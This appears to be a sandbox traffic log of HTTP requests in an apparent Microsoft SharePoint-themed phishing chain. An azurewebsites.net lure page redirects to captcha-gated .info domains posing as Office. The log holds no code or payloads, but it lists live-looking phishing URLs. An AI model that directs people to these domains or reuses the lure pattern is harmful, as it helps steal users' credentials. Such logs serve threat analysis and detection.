Source: global traffic	HTTP traffic detected: GET /wikipedia/commons/thumb/e/e1/Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg/1200px-Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg.png HTTP/1.1Host: upload.wikimedia.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wikipedia/commons/thumb/e/e1/Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg/1200px-Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg.png HTTP/1.1Host: upload.wikimedia.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/img/web.png HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/img/close.png HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/client-telemetry-wrapper.bundle-633e70f51b.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/client-telemetry.bundle-ecbf4ab0d0.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/pcf-dependency.bundle-805a1661b7.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/preform.BootstrapV5.moment_2_29_4.bundle-cf8e0fd942.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/pcf-loader.bundle-f4a0e619b8.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/pcf.bundle-9183da3d63.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/bootstrap.BootstrapV5.bundle-be8391e97d.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/pcf-extended.bundle-e303d53553.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/postpreform.BootstrapV5.bundle-11a5a91493.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/default-1033.moment_2_29_4.bundle-eda4e638fd.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/main.04a618205e.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/dist/app.BootstrapV5.bundle-3c181c74ce.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/874.d64d28bc67.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/448.462407f435.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/170.c9e6b9a6e9.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/867.0578a1c628.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/559.69ac38aa0b.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/243.37970f022e.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/90.24327273f1.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/573.676281aef2.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/349.dc388c8b0d.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/pcf_loader/manifest-0.0.27.json HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/data_grid/manifest-1.1.26.json HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/host/manifest-0.2.0.json HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/pcf_controls/manifest-3.2.6.json HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/mf_shared/manifest-0.2.7.json HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/controls_fluent_v9/manifest-0.0.30.json HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/mf_shared/remoteEntry.31441adcab.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /CfLtH HTTP/1.1Host: ugbllcgroupsec.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/mf_shared/451.6012e266c2.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/mf_shared/465.b7a24572be.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /resource/powerappsportal/controls/mf_shared/753.68a8bfd654.chunk.js HTTP/1.1Host: content.powerapps.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd HTTP/1.1Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.infoConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/api.js HTTP/1.1Host: js.hcaptcha.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /captcha/v1/41c61f4f356516806017107484a3b43e62b92b84/static/hcaptcha.html HTTP/1.1Host: newassets.hcaptcha.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/api.js HTTP/1.1Host: js.hcaptcha.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=902675a0487a1a24&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jloxg/0x4AAAAAAA5Q7Uwm9h417dqO/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=902675a0487a1a24&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/c0e4881c9623bd415ad16c18f8b6f5bbce9a12f6fb8a5e7bf6dd055fd2816999/hsw.js HTTP/1.1Host: newassets.hcaptcha.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://newassets.hcaptcha.com/captcha/v1/41c61f4f356516806017107484a3b43e62b92b84/static/hcaptcha.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjdAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b
